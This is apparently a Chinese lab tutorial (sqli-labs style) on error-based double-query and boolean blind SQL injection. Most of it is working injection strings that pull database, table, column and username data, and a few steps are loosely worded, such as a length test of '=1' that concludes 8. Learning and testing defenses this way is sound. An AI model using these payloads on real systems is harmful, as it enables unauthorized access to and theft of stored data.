经典的双查询注入语句
select count(*),concat((payload),floor(rand(0)*2) as a from information_schema.tables group by a
双查询注入
1.判断注入点
可知是基于 1' 的注入
2.判断列名字段数
可知列名字段数为3
3.查询数据库名
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
数据库名database为security
4.查询当前数据库下的所有表名
?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema="security"),'---',floor(rand(0)*2)) as a from information_schema.tables group by a --+
5.查询当前表下的所有列名
?id=1' union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'---',floor(rand(0)*2)) as a from information_schema.tables group by a --+
6.查询指定列名下的数据
?id=1' union select 1,count(*),concat((select username from users limit 0,1),"---",floor(rand(0)*2)) as a from information_schema.tables group by a --+
布尔盲注
1.原理:
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true
、 false
使web页面返回true或者false,从而达到注入的目的来获取信息
当我们输入一个true语句的时候,页面会返回You are in … …,而当你输入的语句为false时,那么就会收到一个空页面。因此我们可以构造一个判断语句,利用页面的返回结果来得知判断语句是否正确。
2.函数使用
length() 返回字符串长度
ascii() 返回字符串的ascii码
substr(str, start, len) 截取str,从start开始,截取长度为len
left() 从左至右截取字符串
3.求数据库长度
?id=1' and length(database())=1 --+
由此可知,数据库名的长度为8
4.求数据库名
?id=1' and ascii(substr(database(),1,1))=115 --+
由此可知,数据库名的第一个字符为s,因为返回的ascii为115
5.求出表名的字段数
?id=1' and (select count(*) from information_schema.tables where table_schema='security') >3 --+
当大于4时,页面报错
说明security数据库下有4个表
6.求出表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) = 101 --+
当数值为101时页面正常,说明第一个表的第一个字符的ASCII码为101,也就是e
以上盲注皆可以脚本实现,或者以爆破实现
相关wp: